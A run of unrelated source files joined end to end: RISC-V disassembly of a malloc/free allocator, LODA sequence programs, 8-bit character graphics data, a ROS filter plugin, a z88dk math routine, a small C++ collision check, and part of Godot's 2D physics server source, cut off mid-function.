s0,8(sp) 68c: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 68e: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 692: 00000797 auipc a5,0x0 696: 19e7b783 ld a5,414(a5) # 830 <freep> 69a: a805 j 6ca <free+0x42> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 69c: 4618 lw a4,8(a2) 69e: 9db9 addw a1,a1,a4 6a0: feb52c23 sw a1,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 6a4: 6398 ld a4,0(a5) 6a6: 6318 ld a4,0(a4) 6a8: fee53823 sd a4,-16(a0) 6ac: a091 j 6f0 <free+0x68> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 6ae: ff852703 lw a4,-8(a0) 6b2: 9e39 addw a2,a2,a4 6b4: c790 sw a2,8(a5) p->s.ptr = bp->s.ptr; 6b6: ff053703 ld a4,-16(a0) 6ba: e398 sd a4,0(a5) 6bc: a099 j 702 <free+0x7a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6be: 6398 ld a4,0(a5) 6c0: 00e7e463 bltu a5,a4,6c8 <free+0x40> 6c4: 00e6ea63 bltu a3,a4,6d8 <free+0x50> { 6c8: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6ca: fed7fae3 bgeu a5,a3,6be <free+0x36> 6ce: 6398 ld a4,0(a5) 6d0: 00e6e463 bltu a3,a4,6d8 <free+0x50> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6d4: fee7eae3 bltu a5,a4,6c8 <free+0x40> if(bp + bp->s.size == p->s.ptr){ 6d8: ff852583 lw a1,-8(a0) 6dc: 6390 ld a2,0(a5) 6de: 02059713 slli a4,a1,0x20 6e2: 9301 srli a4,a4,0x20 6e4: 0712 slli a4,a4,0x4 6e6: 9736 add a4,a4,a3 6e8: fae60ae3 beq a2,a4,69c <free+0x14> bp->s.ptr = p->s.ptr; 6ec: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 6f0: 4790 lw a2,8(a5) 6f2: 02061713 slli a4,a2,0x20 6f6: 9301 srli a4,a4,0x20 6f8: 0712 slli a4,a4,0x4 6fa: 973e add a4,a4,a5 6fc: fae689e3 beq a3,a4,6ae <free+0x26> } else p->s.ptr = bp; 700: e394 sd a3,0(a5) freep = p; 702: 00000717 auipc a4,0x0 706: 12f73723 sd a5,302(a4) # 830 <freep> } 70a: 6422 ld s0,8(sp) 70c: 0141 addi sp,sp,16 70e: 8082 ret 0000000000000710 <malloc>: return freep; } void* malloc(uint nbytes) { 710: 7139 addi sp,sp,-64 712: fc06 sd ra,56(sp) 714: f822 sd s0,48(sp) 716: f426 sd s1,40(sp) 718: f04a sd s2,32(sp) 71a: ec4e sd s3,24(sp) 71c: e852 sd s4,16(sp) 71e: e456 sd s5,8(sp) 720: e05a sd s6,0(sp) 722: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 724: 02051493 slli s1,a0,0x20 728: 9081 srli s1,s1,0x20 72a: 04bd addi s1,s1,15 72c: 8091 srli s1,s1,0x4 72e: 0014899b addiw s3,s1,1 732: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 734: 00000517 auipc a0,0x0 738: 0fc53503 ld a0,252(a0) # 830 <freep> 73c: c515 beqz a0,768 <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 73e: 611c ld a5,0(a0) if(p->s.size >= nunits){ 740: 4798 lw a4,8(a5) 742: 02977f63 bgeu a4,s1,780 <malloc+0x70> 746: 8a4e mv s4,s3 748: 0009871b sext.w a4,s3 74c: 6685 lui a3,0x1 74e: 00d77363 bgeu a4,a3,754 <malloc+0x44> 752: 6a05 lui s4,0x1 754: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 758: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 75c: 00000917 auipc s2,0x0 760: 0d490913 addi s2,s2,212 # 830 <freep> if(p == (char*)-1) 764: 5afd li s5,-1 766: a88d j 7d8 <malloc+0xc8> base.s.ptr = freep = prevp = &base; 768: 00000797 auipc a5,0x0 76c: 0d078793 addi a5,a5,208 # 838 <base> 770: 00000717 auipc a4,0x0 774: 0cf73023 sd a5,192(a4) # 830 <freep> 778: e39c sd a5,0(a5) base.s.size = 0; 77a: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 77e: b7e1 j 746 <malloc+0x36> if(p->s.size == nunits) 780: 02e48b63 beq s1,a4,7b6 <malloc+0xa6> p->s.size -= nunits; 784: 4137073b subw a4,a4,s3 788: c798 sw a4,8(a5) p += p->s.size; 78a: 1702 slli a4,a4,0x20 78c: 9301 srli a4,a4,0x20 78e: 0712 slli a4,a4,0x4 790: 97ba add a5,a5,a4 p->s.size = nunits; 792: 0137a423 sw s3,8(a5) freep = prevp; 796: 00000717 auipc a4,0x0 79a: 08a73d23 sd a0,154(a4) # 830 <freep> return (void*)(p + 1); 79e: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 7a2: 70e2 ld ra,56(sp) 7a4: 7442 ld s0,48(sp) 7a6: 74a2 ld s1,40(sp) 7a8: 7902 ld s2,32(sp) 7aa: 69e2 ld s3,24(sp) 7ac: 6a42 ld s4,16(sp) 7ae: 6aa2 ld s5,8(sp) 7b0: 6b02 ld s6,0(sp) 7b2: 6121 addi sp,sp,64 7b4: 8082 ret prevp->s.ptr = p->s.ptr; 7b6: 6398 ld a4,0(a5) 7b8: e118 sd a4,0(a0) 7ba: bff1 j 796 <malloc+0x86> hp->s.size = nu; 7bc: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 7c0: 0541 addi a0,a0,16 7c2: 00000097 auipc ra,0x0 7c6: ec6080e7 jalr -314(ra) # 688 <free> return freep; 7ca: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 7ce: d971 beqz a0,7a2 <malloc+0x92> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7d0: 611c ld a5,0(a0) if(p->s.size >= nunits){ 7d2: 4798 lw a4,8(a5) 7d4: fa9776e3 bgeu a4,s1,780 <malloc+0x70> if(p == freep) 7d8: 00093703 ld a4,0(s2) 7dc: 853e mv a0,a5 7de: fef719e3 bne a4,a5,7d0 <malloc+0xc0> p = sbrk(nu * sizeof(Header)); 7e2: 8552 mv a0,s4 7e4: 00000097 auipc ra,0x0 7e8: b7e080e7 jalr -1154(ra) # 362 <sbrk> if(p == (char*)-1) 7ec: fd5518e3 bne a0,s5,7bc <malloc+0xac> return 0; 7f0: 4501 li a0,0 7f2: bf45 j 7a2 <malloc+0x92>
; A332145: a(n) = 4*(10^(2*n+1)-1)/9 + 10^n. ; 5,454,44544,4445444,444454444,44444544444,4444445444444,444444454444444,44444444544444444,4444444445444444444,444444444454444444444,44444444444544444444444,4444444444445444444444444,444444444444454444444444444,44444444444444544444444444444,4444444444444445444444444444444 add $0,1 mov $1,10 pow $1,$0 mul $1,4 add $1,5 bin $1,2 div $1,45 mul $1,4 mov $0,$1 sub $0,87 div $0,16 add $0,5
;,; ibpcaablocks .align=1024 .pos=$1400 ;,; -> ch0000183C3C180000 ;,; -> ch000018183C3C3C3C ;,; -> ch3C3C3C3C18180000 ;,; -> ch3C3C3C3C3C3C3C3C ;,; -> ch0000F0FCFCF00000 ;,; -> ch0080C0E0F0F8FCFE ;,; -> chFEFCF8F0E0C08000 ;,; -> chFCFCFCFCFCFCFCFC ;,; -> ch00000F3F3F0F0000 ;,; -> ch000103070F1F3F7F ;,; -> ch7F3F1F0F07030100 ;,; -> ch3F3F3F3F3F3F3F3F ;,; -> ch0000FFFFFFFF0000 ;,; -> ch0000FFFFFFFFFFFF ;,; -> chFFFFFFFFFFFF0000 ;,; -> chFFFFFFFFFFFFFFFF ;,; -> ch0000000000000000 ch0000183C3C180000=0 ch000018183C3C3C3C=1 ch3C3C3C3C18180000=2 ch3C3C3C3C3C3C3C3C=3 ch0000F0FCFCF00000=4 ch0080C0E0F0F8FCFE=5 ; WHY DOES NOT FIND DUPE chFEFCF8F0E0C08000=6 chFCFCFCFCFCFCFCFC=7 ch00000F3F3F0F0000=8 ch000103070F1F3F7F=9 ch7F3F1F0F07030100=10 ch3F3F3F3F3F3F3F3F=11 ; !?!? ch0000FFFFFFFF0000=12 ch0000FFFFFFFFFFFF=13 chFFFFFFFFFFFF0000=14 chFFFFFFFFFFFFFFFF=15 ch0000000000000000=16 !byte %00000000 ; rlud !byte %00000000 !byte %00011000 !byte %00111100 !byte %00111100 !byte %00011000 !byte %00000000 !byte %00000000 !byte %00000000 ; rlu- !byte %00000000 !byte %00011000 !byte %00011000 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 ; rl-d !byte %00111100 !byte %00111100 !byte %00111100 !byte %00011000 !byte %00011000 !byte %00000000 !byte %00000000 !byte %00111100 ; rl-- !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00111100 !byte %00000000 ; r-ud !byte %00000000 !byte %11110000 !byte %11111100 !byte %11111100 !byte %11110000 !byte %00000000 !byte %00000000 !byte %00000000 ; r-u- !byte %10000000 !byte %11000000 !byte %11100000 !byte %11110000 !byte %11111000 !byte %11111100 !byte %11111110 !byte %11111110 ; r--d !byte %11111100 !byte %11111000 !byte %11110000 !byte %11100000 !byte %11000000 !byte %10000000 !byte %00000000 !byte %11111100 ; r--- !byte %11111100 !byte %11111100 !byte %11111100 !byte %11111100 !byte %11111100 !byte %11111100 !byte %11111100 !byte %00000000 ; -lud !byte %00000000 !byte %00001111 !byte %00111111 !byte %00111111 !byte %00001111 !byte %00000000 !byte %00000000 !byte %00000000 ; -lu- !byte %00000001 !byte %00000011 !byte %00000111 !byte %00001111 !byte %00011111 !byte %00111111 !byte %01111111 !byte %01111111 ; -l-d !byte %00111111 !byte %00011111 !byte %00001111 !byte %00000111 !byte %00000011 !byte %00000001 !byte %00000000 !byte %00111111 ; -l-- !byte %00111111 !byte %00111111 !byte %00111111 !byte %00111111 !byte %00111111 !byte %00111111 !byte %00111111 !byte %00000000 ; --ud !byte %00000000 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %00000000 !byte %00000000 !byte %00000000 ; --u- !byte %00000000 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 ; ---d !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %00000000 !byte %00000000 !byte %11111111 ; ---- !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %11111111 !byte %00000000 !byte %00000000 !byte %00000000 !byte %00000000 !byte %00000000 !byte %00000000 !byte %00000000 !byte %00000000
; A000910: 5*C(n,6). ; 0,0,0,0,0,0,5,35,140,420,1050,2310,4620,8580,15015,25025,40040,61880,92820,135660,193800,271320,373065,504735,672980,885500,1151150,1480050,1883700,2375100,2968875,3681405,4530960,5537840,6724520,8115800,9738960,11623920,13803405,16313115,19191900,22481940,26228930,30482270,35295260,40725300,46834095,53687865,61357560,69919080,79453500,90047300,101792600,114787400,129135825,144948375,162342180,181441260,202376790,225287370,250319300,277626860,307372595,339727605,374871840,412994400,454293840,498978480,547266720,599387360,655579925,716094995,781194540,851152260,926253930,1006797750,1093094700,1185468900,1284257975,1389813425,1502501000,1622701080,1750809060,1887235740,2032407720,2186767800,2350775385,2524906895,2709656180,2905534940,3113073150,3332819490,3565341780,3811227420,4071083835,4345538925,4635241520,4940861840,5263091960,5602646280 bin $0,6 mul $0,5
/* * Copyright (c) 2021, Czech Technical University in Prague * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Willow Garage, Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <pluginlib/class_list_macros.h> #include <sensor_msgs/PointCloud.h> #include <sensor_filters/FilterChainNodelet.h> DECLARE_SENSOR_FILTER(PointCloud, "cloud") // NOLINT(cert-err58-cpp)
SECTION code_fp_math16 PUBLIC cm16_sdcc___slong2h EXTERN asm_f24_i32 EXTERN asm_f16_f24 .cm16_sdcc___slong2h pop bc ;return pop hl ;value pop de push de push hl push bc call asm_f24_i32 jp asm_f16_f24
#include "Dno.hh" bool Dno::czy_kolizja(std::shared_ptr<InterfejsDrona> D) { if( std::abs(D->zwrocSrodek()[2]-m_wysokosc) <= D->zwrocPromien() || D->zwrocSrodek()[2] < m_wysokosc) return 1; else return 0; } void Dno::Rysuj() { Plaszczyzna::Rysuj(); }
/*************************************************************************/ /* physics_server_2d_sw.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* https://godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2020 Juan Linietsky, Ariel Manzur. */ /* Copyright (c) 2014-2020 Godot Engine contributors (cf. AUTHORS.md). */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "physics_server_2d_sw.h" #include "broad_phase_2d_basic.h" #include "broad_phase_2d_hash_grid.h" #include "collision_solver_2d_sw.h" #include "core/debugger/engine_debugger.h" #include "core/os/os.h" #include "core/project_settings.h" #define FLUSH_QUERY_CHECK(m_object) \ ERR_FAIL_COND_MSG(m_object->get_space() && flushing_queries, "Can't change this state while flushing queries. Use call_deferred() or set_deferred() to change monitoring state instead."); RID PhysicsServer2DSW::_shape_create(ShapeType p_shape) { Shape2DSW *shape = nullptr; switch (p_shape) { case SHAPE_LINE: { shape = memnew(LineShape2DSW); } break; case SHAPE_RAY: { shape = memnew(RayShape2DSW); } break; case SHAPE_SEGMENT: { shape = memnew(SegmentShape2DSW); } break; case SHAPE_CIRCLE: { shape = memnew(CircleShape2DSW); } break; case SHAPE_RECTANGLE: { shape = memnew(RectangleShape2DSW); } break; case SHAPE_CAPSULE: { shape = memnew(CapsuleShape2DSW); } break; case SHAPE_CONVEX_POLYGON: { shape = memnew(ConvexPolygonShape2DSW); } break; case SHAPE_CONCAVE_POLYGON: { shape = memnew(ConcavePolygonShape2DSW); } break; case SHAPE_CUSTOM: { ERR_FAIL_V(RID()); } break; } RID id = shape_owner.make_rid(shape); shape->set_self(id); return id; } RID PhysicsServer2DSW::line_shape_create() { return _shape_create(SHAPE_LINE); } RID PhysicsServer2DSW::ray_shape_create() { return _shape_create(SHAPE_RAY); } RID PhysicsServer2DSW::segment_shape_create() { return _shape_create(SHAPE_SEGMENT); } RID PhysicsServer2DSW::circle_shape_create() { return _shape_create(SHAPE_CIRCLE); } RID PhysicsServer2DSW::rectangle_shape_create() { return _shape_create(SHAPE_RECTANGLE); } RID PhysicsServer2DSW::capsule_shape_create() { return _shape_create(SHAPE_CAPSULE); } RID PhysicsServer2DSW::convex_polygon_shape_create() { return _shape_create(SHAPE_CONVEX_POLYGON); } RID PhysicsServer2DSW::concave_polygon_shape_create() { return _shape_create(SHAPE_CONCAVE_POLYGON); } void PhysicsServer2DSW::shape_set_data(RID p_shape, const Variant &p_data) { Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); shape->set_data(p_data); }; void PhysicsServer2DSW::shape_set_custom_solver_bias(RID p_shape, real_t p_bias) { Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); shape->set_custom_bias(p_bias); } PhysicsServer2D::ShapeType PhysicsServer2DSW::shape_get_type(RID p_shape) const { const Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND_V(!shape, SHAPE_CUSTOM); return shape->get_type(); }; Variant PhysicsServer2DSW::shape_get_data(RID p_shape) const { const Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND_V(!shape, Variant()); ERR_FAIL_COND_V(!shape->is_configured(), Variant()); return shape->get_data(); }; real_t PhysicsServer2DSW::shape_get_custom_solver_bias(RID p_shape) const { const Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND_V(!shape, 0); return shape->get_custom_bias(); } void PhysicsServer2DSW::_shape_col_cbk(const Vector2 &p_point_A, const Vector2 &p_point_B, void *p_userdata) { CollCbkData *cbk = (CollCbkData *)p_userdata; if (cbk->max == 0) { return; } if (cbk->valid_dir != Vector2()) { if (p_point_A.distance_squared_to(p_point_B) > cbk->valid_depth * cbk->valid_depth) { cbk->invalid_by_dir++; return; } Vector2 rel_dir = (p_point_A - p_point_B).normalized(); if (cbk->valid_dir.dot(rel_dir) < Math_SQRT12) { //sqrt(2)/2.0 - 45 degrees cbk->invalid_by_dir++; /* print_line("A: "+p_point_A); print_line("B: "+p_point_B); print_line("discard too angled "+rtos(cbk->valid_dir.dot((p_point_A-p_point_B)))); print_line("resnorm: "+(p_point_A-p_point_B).normalized()); print_line("distance: "+rtos(p_point_A.distance_to(p_point_B))); */ return; } } if (cbk->amount == cbk->max) { //find least deep real_t min_depth = 1e20; int min_depth_idx = 0; for (int i = 0; i < cbk->amount; i++) { real_t d = cbk->ptr[i * 2 + 0].distance_squared_to(cbk->ptr[i * 2 + 1]); if (d < min_depth) { min_depth = d; min_depth_idx = i; } } real_t d = p_point_A.distance_squared_to(p_point_B); if (d < min_depth) { return; } cbk->ptr[min_depth_idx * 2 + 0] = p_point_A; cbk->ptr[min_depth_idx * 2 + 1] = p_point_B; cbk->passed++; } else { cbk->ptr[cbk->amount * 2 + 0] = p_point_A; cbk->ptr[cbk->amount * 2 + 1] = p_point_B; cbk->amount++; cbk->passed++; } } bool PhysicsServer2DSW::shape_collide(RID p_shape_A, const Transform2D &p_xform_A, const Vector2 &p_motion_A, RID p_shape_B, const Transform2D &p_xform_B, const Vector2 &p_motion_B, Vector2 *r_results, int p_result_max, int &r_result_count) { Shape2DSW *shape_A = shape_owner.getornull(p_shape_A); ERR_FAIL_COND_V(!shape_A, false); Shape2DSW *shape_B = shape_owner.getornull(p_shape_B); ERR_FAIL_COND_V(!shape_B, false); if (p_result_max == 0) { return CollisionSolver2DSW::solve(shape_A, p_xform_A, p_motion_A, shape_B, p_xform_B, p_motion_B, nullptr, nullptr); } CollCbkData cbk; cbk.max = p_result_max; cbk.amount = 0; cbk.passed = 0; cbk.ptr = r_results; bool res = CollisionSolver2DSW::solve(shape_A, p_xform_A, p_motion_A, shape_B, p_xform_B, p_motion_B, _shape_col_cbk, &cbk); r_result_count = cbk.amount; return res; } RID PhysicsServer2DSW::space_create() { Space2DSW *space = memnew(Space2DSW); RID id = space_owner.make_rid(space); space->set_self(id); RID area_id = area_create(); Area2DSW *area = area_owner.getornull(area_id); ERR_FAIL_COND_V(!area, RID()); space->set_default_area(area); area->set_space(space); area->set_priority(-1); return id; }; void PhysicsServer2DSW::space_set_active(RID p_space, bool p_active) { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND(!space); if (p_active) { active_spaces.insert(space); } else { active_spaces.erase(space); } } bool PhysicsServer2DSW::space_is_active(RID p_space) const { const Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND_V(!space, false); return active_spaces.has(space); } void PhysicsServer2DSW::space_set_param(RID p_space, SpaceParameter p_param, real_t p_value) { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND(!space); space->set_param(p_param, p_value); } real_t PhysicsServer2DSW::space_get_param(RID p_space, SpaceParameter p_param) const { const Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND_V(!space, 0); return space->get_param(p_param); } void PhysicsServer2DSW::space_set_debug_contacts(RID p_space, int p_max_contacts) { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND(!space); space->set_debug_contacts(p_max_contacts); } Vector<Vector2> PhysicsServer2DSW::space_get_contacts(RID p_space) const { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND_V(!space, Vector<Vector2>()); return space->get_debug_contacts(); } int PhysicsServer2DSW::space_get_contact_count(RID p_space) const { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND_V(!space, 0); return space->get_debug_contact_count(); } PhysicsDirectSpaceState2D *PhysicsServer2DSW::space_get_direct_state(RID p_space) { Space2DSW *space = space_owner.getornull(p_space); ERR_FAIL_COND_V(!space, nullptr); ERR_FAIL_COND_V_MSG((using_threads && !doing_sync) || space->is_locked(), nullptr, "Space state is inaccessible right now, wait for iteration or physics process notification."); return space->get_direct_state(); } RID PhysicsServer2DSW::area_create() { Area2DSW *area = memnew(Area2DSW); RID rid = area_owner.make_rid(area); area->set_self(rid); return rid; }; void PhysicsServer2DSW::area_set_space(RID p_area, RID p_space) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); Space2DSW *space = nullptr; if (p_space.is_valid()) { space = space_owner.getornull(p_space); ERR_FAIL_COND(!space); } if (area->get_space() == space) { return; //pointless } area->clear_constraints(); area->set_space(space); }; RID PhysicsServer2DSW::area_get_space(RID p_area) const { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, RID()); Space2DSW *space = area->get_space(); if (!space) { return RID(); } return space->get_self(); }; void PhysicsServer2DSW::area_set_space_override_mode(RID p_area, AreaSpaceOverrideMode p_mode) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_space_override_mode(p_mode); } PhysicsServer2D::AreaSpaceOverrideMode PhysicsServer2DSW::area_get_space_override_mode(RID p_area) const { const Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, AREA_SPACE_OVERRIDE_DISABLED); return area->get_space_override_mode(); } void PhysicsServer2DSW::area_add_shape(RID p_area, RID p_shape, const Transform2D &p_transform, bool p_disabled) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); area->add_shape(shape, p_transform, p_disabled); } void PhysicsServer2DSW::area_set_shape(RID p_area, int p_shape_idx, RID p_shape) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); ERR_FAIL_COND(!shape->is_configured()); area->set_shape(p_shape_idx, shape); } void PhysicsServer2DSW::area_set_shape_transform(RID p_area, int p_shape_idx, const Transform2D &p_transform) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_shape_transform(p_shape_idx, p_transform); } void PhysicsServer2DSW::area_set_shape_disabled(RID p_area, int p_shape, bool p_disabled) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); ERR_FAIL_INDEX(p_shape, area->get_shape_count()); FLUSH_QUERY_CHECK(area); area->set_shape_as_disabled(p_shape, p_disabled); } int PhysicsServer2DSW::area_get_shape_count(RID p_area) const { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, -1); return area->get_shape_count(); } RID PhysicsServer2DSW::area_get_shape(RID p_area, int p_shape_idx) const { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, RID()); Shape2DSW *shape = area->get_shape(p_shape_idx); ERR_FAIL_COND_V(!shape, RID()); return shape->get_self(); } Transform2D PhysicsServer2DSW::area_get_shape_transform(RID p_area, int p_shape_idx) const { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, Transform2D()); return area->get_shape_transform(p_shape_idx); } void PhysicsServer2DSW::area_remove_shape(RID p_area, int p_shape_idx) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->remove_shape(p_shape_idx); } void PhysicsServer2DSW::area_clear_shapes(RID p_area) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); while (area->get_shape_count()) { area->remove_shape(0); } } void PhysicsServer2DSW::area_attach_object_instance_id(RID p_area, ObjectID p_id) { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_instance_id(p_id); } ObjectID PhysicsServer2DSW::area_get_object_instance_id(RID p_area) const { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, ObjectID()); return area->get_instance_id(); } void PhysicsServer2DSW::area_attach_canvas_instance_id(RID p_area, ObjectID p_id) { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_canvas_instance_id(p_id); } ObjectID PhysicsServer2DSW::area_get_canvas_instance_id(RID p_area) const { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, ObjectID()); return area->get_canvas_instance_id(); } void PhysicsServer2DSW::area_set_param(RID p_area, AreaParameter p_param, const Variant &p_value) { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_param(p_param, p_value); }; void PhysicsServer2DSW::area_set_transform(RID p_area, const Transform2D &p_transform) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_transform(p_transform); }; Variant PhysicsServer2DSW::area_get_param(RID p_area, AreaParameter p_param) const { if (space_owner.owns(p_area)) { Space2DSW *space = space_owner.getornull(p_area); p_area = space->get_default_area()->get_self(); } Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, Variant()); return area->get_param(p_param); }; Transform2D PhysicsServer2DSW::area_get_transform(RID p_area) const { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND_V(!area, Transform2D()); return area->get_transform(); }; void PhysicsServer2DSW::area_set_pickable(RID p_area, bool p_pickable) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_pickable(p_pickable); } void PhysicsServer2DSW::area_set_monitorable(RID p_area, bool p_monitorable) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); FLUSH_QUERY_CHECK(area); area->set_monitorable(p_monitorable); } void PhysicsServer2DSW::area_set_collision_mask(RID p_area, uint32_t p_mask) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_collision_mask(p_mask); } void PhysicsServer2DSW::area_set_collision_layer(RID p_area, uint32_t p_layer) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_collision_layer(p_layer); } void PhysicsServer2DSW::area_set_monitor_callback(RID p_area, Object *p_receiver, const StringName &p_method) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_monitor_callback(p_receiver ? p_receiver->get_instance_id() : ObjectID(), p_method); } void PhysicsServer2DSW::area_set_area_monitor_callback(RID p_area, Object *p_receiver, const StringName &p_method) { Area2DSW *area = area_owner.getornull(p_area); ERR_FAIL_COND(!area); area->set_area_monitor_callback(p_receiver ? p_receiver->get_instance_id() : 